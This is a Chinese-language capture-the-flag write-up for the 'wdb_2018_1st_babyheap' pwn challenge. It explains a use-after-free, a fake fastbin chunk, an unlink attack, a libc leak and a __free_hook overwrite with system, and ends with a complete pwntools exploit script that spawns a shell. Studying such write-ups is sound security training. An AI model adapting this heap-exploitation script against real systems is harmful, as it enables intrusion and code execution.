wdb_2018_1st_babyheap WP
checksec
1 2 3 4 5
| Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x3ff000)
|
Full RELRO不能直接写got表。
静态分析
1 2 3 4 5 6 7 8 9
| int sub_4008E3() { puts("1.alloc"); puts("2.edit"); puts("3.show"); puts("4.free"); puts("5.exit"); return printf("Choice:"); }
|
程序功能如上
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| unsigned __int64 sub_400B54() { unsigned int v1; char s[24]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index:"); memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi(s); if ( v1 <= 9 && (&ptr)[v1] ) { free((&ptr)[v1]); puts("Done!"); } return __readfsqword(0x28u) ^ v3; }
|
漏洞点在free操作中,存在UAF漏洞。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| unsigned __int64 sub_4009A0() { unsigned int v1; char s[24]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index:"); memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi(s); if ( v1 <= 9 && !(&ptr)[v1] ) { (&ptr)[v1] = (char *)malloc(0x20uLL); printf("Content:"); sub_40092B((__int64)(&ptr)[v1], 0x20u); puts("Done!"); } return __readfsqword(0x28u) ^ v3; }
|
允许申请最多十个堆块,大小固定为0x30。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| unsigned __int64 sub_400A79() { unsigned int v1; char s[24]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index:"); memset(s, 0, 0x10uLL); read(0, s, 0xFuLL); v1 = atoi(s); if ( v1 <= 0x1F && (&ptr)[v1] && dword_6020B0 != 3 ) { printf("Content:"); sub_40092B((&ptr)[v1], 32LL); ++dword_6020B0; puts("Done!"); } return __readfsqword(0x28u) ^ v3; }
|
edit功能只能使用3次。
解题思路
由于got表不可写考虑向free_hook中写system。显然我们需要泄露libc地址,在堆中泄露libc最经典的思路是利用unsortedbin去泄露main_arena+88的地址。但这里我们申请堆块的大小被固定。必须通过其他方法获得unsoredbinchunk。
这里我们利用uaf修改已经进入fastbin中的chunk,伪造一个chunk来修改其他chunk的大小,同时由于没有开启PIE,储存堆块地址的位置已知,可以进行unlink。
具体操作
首先我们先申请一系列堆块进行准备工作(其实这里不算时未卜先知,是写到后头发现长度不够才回头申请的堆块)。
依次释放chunk1,chunk0,这时chunk0的fd位置储存着chunk1的地址。利用show泄露出堆的地址。

我们需要构造一个fake chunk并将fakechunk地址写入chunk1的fd。这里我们用掉了一次edit机会。
我们选择将fakechunk构造在chunk0的数据部分。我们申请3个堆块就可以依次申请出chunk0,chunk1,fakechunk。
申请出chunk0,时要注意修改fakechunk的chunk头的size部分为0x31
注意我们程序中申请堆块要求下标不重复,这时我们的下标对应的堆块应该是这个样子。

之后我们释放chunk 5,再将其申请回来为chunk 8以修改fakechunk的大小为0x21。这里就要问了,既然这里要改成0x21,为什么刚才不直接改好呢。
这是因为申请内存时有一个检查,会检查你申请的那个内存大小是否与所在的fastbin应有的大小相同,如果刚才改为0x21是过不去这个检查的。
至于为什么修改为0x21是因为一会freechunk6进行unlink时会有检查大小。
我们现在进入unlink部分
unlink
unlink会出现在释放堆块时最后进行向后或向前合并时。它的作用是将进行合并的空闲chunk从所在的bin中解链。
当我们将chunk6释放时,他会发现前面的chunk7是空闲的,进入向后合并流程,将chunk7进行解链。判断如下
1 2
| 1,检查chunk6的presize是否与chunk7的size一致 2,检查chunk7->fd ->bk == chhunk7,chunk7->bk ->fd ==chunk7
|
我们的fake chunk的地址(即chunk0的数据段部分)存在了bss段上的ptr中。我们只要修改fakechunk的fd为ptr-0x18,bk为ptr-0x10,就能通过这个检查。
而且经过解链,chunk7->fd ->bk = chunk7 ->bk,chunk7->bk->fd = chunk7->fd。结果就是ptr的位置被改写成为了ptr-0x18。这就是unlink的一个流程。
之后我们可以通过操作chunk0去修改ptr,从而获得任意地址读写的能力。
为了unlink我们释放chunk6,这里就是为什么要多申请几个堆块,因为chunk6的size被我们改成了0xa0,在free时他会检查nextchunk的的prev_inuse是否为1,而且这个nextchunk是通过根据大小偏移得到的,所以我们只能多申请堆块去修改对应位置。
最终我们的堆块情况应该如下。

这时因为free和unlink,fakechunk被放入了unsortedbin,我们打印fakechunk即可泄露libc。我们之后只需要计算出free_hook与system的地址,先edit0将ptr改为free _hook,再次edit即可完成向free_hook中写入system。
最后我们再free chunk6,就能执行system(“/bin/sh)。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| from pwn import *
s = lambda data :io.send(data) sa = lambda delim,data :io.sendafter(delim, data) sl = lambda data :io.sendline(data) sla = lambda delim,data :io.sendlineafter(delim, data) r = lambda num :io.recv(num) rl = lambda :io.recvline() ru = lambda delims, drop=True :io.recvuntil(delims, drop) itr = lambda :io.interactive() uu32 = lambda data :u32(data.ljust(4,b'\x00')) uu64 = lambda data :u64(data.ljust(8,b'\x00')) ls = lambda data :log.success(data) lss = lambda s :log.success('\033[1;31;40m%s --> 0x%x \033[0m' % (s, eval(s)))
context.arch = 'amd64' context.log_level = 'debug'
binary = './pwn' libelf = './libc-2.23.so'
if (binary!=''): elf = ELF(binary) ; rop=ROP(binary);libc = elf.libc if (libelf!=''): libc = ELF(libelf)
io = process("./pwn")
def a(idx,content = b""): sla(b"Choice:",b"1") sla(b"Index:",str(idx).encode()) sa(b"Content:",content.ljust(32,b"a")) def e(idx,content = b""): sla(b"Choice:",b"2") sla(b"Index:",str(idx).encode()) sa(b"Content:",content) def s(idx): sla(b"Choice:",b"3") sla(b"Index:",str(idx).encode()) def f(idx): sla(b"Choice:",b"4") sla(b"Index:",str(idx).encode()) list = 0x602060
a(0) a(1) a(2) a(3) a(4,p64(0)+p64(0x21)) f(1) f(0) s(0) heapaddr = u64(ru(b"\n").ljust(8,b"\x00")) ls("heap:"+hex(heapaddr)) e(1,p64(heapaddr-0x20)+b"a"*0x18) a(5,b"a"*8+p64(0x31)+p64(0)+p64(0)) a(6,b"/bin/sh\x00") a(7,p64(0)+p64(0)+p64(0x20)+p64(0xa0)) f(5) a(8,b"a"*8+p64(0x21)+p64(list-0x18)+p64(list-0x10)) f(1) s(7) libc_base = u64(ru(b"\n").ljust(8,b"\x00")) - 0x3C4B20 - 88 ls("libc: "+ hex(libc_base)) free_hook = libc_base + libc.sym["__free_hook"] e(0,p64(0)*3+p64(free_hook)) e(0,p64(libc_base+libc.sym["system"])+p64(0)*3) f(6) itr()
|
总结
警惕sendline陷阱,如果不影响的话建议根据允许输入的长度调整输入数据,尤其不要干输入0x20字节,算上”\n”其实是0x21字节这种事。